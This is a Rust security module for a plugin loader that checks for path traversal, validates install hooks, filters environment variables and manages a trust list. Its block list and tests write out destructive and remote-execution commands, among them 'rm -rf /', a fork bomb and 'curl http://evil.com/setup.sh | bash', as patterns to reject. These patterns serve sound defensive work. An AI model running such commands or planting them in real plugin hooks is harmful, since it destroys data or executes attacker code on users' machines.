Skip to main content

lowfat_plugin/
security.rs

1//! Plugin security: path traversal checks, hook validation, env sanitization, trust.
2
3use crate::manifest::PluginManifest;
4use std::collections::HashSet;
5use std::fs;
6use std::path::{Path, PathBuf};
7
8#[derive(Debug, thiserror::Error)]
9pub enum SecurityError {
10    #[error("path traversal detected: entry '{0}' escapes plugin directory")]
11    PathTraversal(String),
12    #[error("entry file not found: {0}")]
13    EntryNotFound(String),
14    #[error("entry is not a regular file: {0}")]
15    EntryNotFile(String),
16    #[error("dangerous hook detected: {0}")]
17    DangerousHook(String),
18}
19
20/// Validate a plugin before loading.
21pub fn validate_plugin(manifest: &PluginManifest, base_dir: &Path) -> Result<(), SecurityError> {
22    validate_entry_path(manifest, base_dir)?;
23    validate_hooks(manifest)?;
24    Ok(())
25}
26
27/// Check that entry path doesn't escape the plugin directory.
28fn validate_entry_path(manifest: &PluginManifest, base_dir: &Path) -> Result<(), SecurityError> {
29    let entry = &manifest.runtime.entry;
30
31    if entry.starts_with('/') || entry.starts_with('\\') {
32        return Err(SecurityError::PathTraversal(entry.clone()));
33    }
34    if entry.contains("..") {
35        return Err(SecurityError::PathTraversal(entry.clone()));
36    }
37
38    let resolved = base_dir.join(entry);
39    let canonical_base = base_dir
40        .canonicalize()
41        .unwrap_or_else(|_| base_dir.to_path_buf());
42    let canonical_entry = resolved
43        .canonicalize()
44        .map_err(|_| SecurityError::EntryNotFound(resolved.display().to_string()))?;
45
46    if !canonical_entry.starts_with(&canonical_base) {
47        return Err(SecurityError::PathTraversal(entry.clone()));
48    }
49    if !canonical_entry.is_file() {
50        return Err(SecurityError::EntryNotFile(
51            canonical_entry.display().to_string(),
52        ));
53    }
54
55    Ok(())
56}
57
58/// Check hooks for dangerous commands.
59fn validate_hooks(manifest: &PluginManifest) -> Result<(), SecurityError> {
60    let dangerous_exact = [
61        "rm -rf /",
62        "rm -rf ~",
63        "rm -rf $HOME",
64        "eval $(curl",
65        "eval $(wget",
66        "> /dev/sda",
67        "mkfs.",
68        "dd if=",
69        ":(){ :|:& };:",
70        "chmod -R 777 /",
71    ];
72
73    let dangerous_pairs: &[(&str, &str)] = &[
74        ("curl", "| bash"),
75        ("curl", "| sh"),
76        ("wget", "| bash"),
77        ("wget", "| sh"),
78    ];
79
80    let hooks = [
81        ("on_install", manifest.hooks.as_ref().and_then(|h| h.on_install.as_deref())),
82        ("on_update", manifest.hooks.as_ref().and_then(|h| h.on_update.as_deref())),
83        ("on_remove", manifest.hooks.as_ref().and_then(|h| h.on_remove.as_deref())),
84    ];
85
86    for (hook_name, hook_cmd) in &hooks {
87        if let Some(cmd) = hook_cmd {
88            let lower = cmd.to_lowercase();
89            for pattern in &dangerous_exact {
90                if lower.contains(&pattern.to_lowercase()) {
91                    return Err(SecurityError::DangerousHook(format!(
92                        "{hook_name}: contains '{pattern}'"
93                    )));
94                }
95            }
96            for (left, right) in dangerous_pairs {
97                if lower.contains(*left) && lower.contains(*right) {
98                    return Err(SecurityError::DangerousHook(format!(
99                        "{hook_name}: contains '{left} ... {right}'"
100                    )));
101                }
102            }
103        }
104    }
105
106    Ok(())
107}
108
109// --- Trust management ---
110
111fn trust_file(lowfat_home: &Path) -> PathBuf {
112    lowfat_home.join("trusted.toml")
113}
114
115pub fn is_trusted(plugin_name: &str, lowfat_home: &Path) -> bool {
116    let path = trust_file(lowfat_home);
117    if let Ok(content) = fs::read_to_string(&path) {
118        content.lines().any(|line| line.trim() == plugin_name)
119    } else {
120        false
121    }
122}
123
124pub fn trust_plugin(plugin_name: &str, lowfat_home: &Path) -> anyhow::Result<()> {
125    let path = trust_file(lowfat_home);
126    let mut content = fs::read_to_string(&path).unwrap_or_else(|_| "[trusted]\n".to_string());
127    if !content.lines().any(|l| l.trim() == plugin_name) {
128        content.push_str(&format!("{plugin_name}\n"));
129        fs::create_dir_all(lowfat_home)?;
130        fs::write(&path, content)?;
131    }
132    Ok(())
133}
134
135pub fn untrust_plugin(plugin_name: &str, lowfat_home: &Path) -> anyhow::Result<()> {
136    let path = trust_file(lowfat_home);
137    if let Ok(content) = fs::read_to_string(&path) {
138        let filtered: Vec<&str> = content
139            .lines()
140            .filter(|l| l.trim() != plugin_name)
141            .collect();
142        fs::write(&path, filtered.join("\n") + "\n")?;
143    }
144    Ok(())
145}
146
147// --- Environment sanitization ---
148
149const SAFE_ENV_VARS: &[&str] = &[
150    "LOWFAT_LEVEL", "RUNF_COMMAND", "RUNF_SUBCOMMAND", "RUNF_EXIT_CODE",
151    "PATH", "HOME", "USER", "SHELL", "LANG", "LC_ALL", "LC_CTYPE", "TERM", "TMPDIR",
152    "GIT_DIR", "GIT_WORK_TREE", "DOCKER_HOST", "KUBECONFIG",
153    "GOPATH", "GOROOT", "CARGO_HOME", "RUSTUP_HOME",
154    "NODE_PATH", "NPM_CONFIG_PREFIX", "VIRTUAL_ENV", "PYTHONPATH",
155];
156
157pub fn sanitized_env() -> Vec<(String, String)> {
158    let safe: HashSet<&str> = SAFE_ENV_VARS.iter().copied().collect();
159    std::env::vars()
160        .filter(|(k, _)| safe.contains(k.as_str()))
161        .collect()
162}
163
164#[cfg(test)]
165mod tests {
166    use super::*;
167    use crate::manifest::PluginManifest;
168
169    fn minimal_manifest(entry: &str) -> PluginManifest {
170        let toml = format!(
171            r#"
172[plugin]
173name = "test"
174commands = ["test"]
175
176[runtime]
177type = "node"
178entry = "{entry}"
179"#
180        );
181        PluginManifest::parse(&toml).unwrap()
182    }
183
184    #[test]
185    fn path_traversal_dotdot() {
186        let m = minimal_manifest("../../etc/passwd");
187        let result = validate_entry_path(&m, Path::new("/tmp/plugin"));
188        assert!(result.is_err());
189    }
190
191    #[test]
192    fn path_traversal_absolute() {
193        let m = minimal_manifest("/etc/passwd");
194        let result = validate_entry_path(&m, Path::new("/tmp/plugin"));
195        assert!(result.is_err());
196    }
197
198    #[test]
199    fn path_valid_relative() {
200        let tmp = tempfile::tempdir().unwrap();
201        let filter_path = tmp.path().join("filter.js");
202        fs::write(&filter_path, "console.log('ok')").unwrap();
203
204        let m = minimal_manifest("filter.js");
205        let result = validate_entry_path(&m, tmp.path());
206        assert!(result.is_ok());
207    }
208
209    #[test]
210    fn dangerous_hook_rm_rf() {
211        let toml = r#"
212[plugin]
213name = "evil"
214commands = ["test"]
215
216[runtime]
217type = "node"
218entry = "filter.js"
219
220[hooks]
221on_install = "rm -rf /"
222"#;
223        let m = PluginManifest::parse(toml).unwrap();
224        assert!(validate_hooks(&m).is_err());
225    }
226
227    #[test]
228    fn dangerous_hook_curl_pipe() {
229        let toml = r#"
230[plugin]
231name = "evil"
232commands = ["test"]
233
234[runtime]
235type = "node"
236entry = "filter.js"
237
238[hooks]
239on_install = "curl http://evil.com/setup.sh | bash"
240"#;
241        let m = PluginManifest::parse(toml).unwrap();
242        assert!(validate_hooks(&m).is_err());
243    }
244
245    #[test]
246    fn safe_hooks() {
247        let toml = r#"
248[plugin]
249name = "safe"
250commands = ["test"]
251
252[runtime]
253type = "node"
254entry = "filter.js"
255
256[hooks]
257on_install = "npm install"
258"#;
259        let m = PluginManifest::parse(toml).unwrap();
260        assert!(validate_hooks(&m).is_ok());
261    }
262
263    #[test]
264    fn env_sanitization() {
265        let env = sanitized_env();
266        let keys: HashSet<String> = env.iter().map(|(k, _)| k.clone()).collect();
267        assert!(!keys.contains("AWS_SECRET_ACCESS_KEY"));
268        assert!(!keys.contains("GITHUB_TOKEN"));
269    }
270
271    #[test]
272    fn trust_workflow() {
273        let tmp = tempfile::tempdir().unwrap();
274        assert!(!is_trusted("my-plugin", tmp.path()));
275        trust_plugin("my-plugin", tmp.path()).unwrap();
276        assert!(is_trusted("my-plugin", tmp.path()));
277        untrust_plugin("my-plugin", tmp.path()).unwrap();
278        assert!(!is_trusted("my-plugin", tmp.path()));
279    }
280}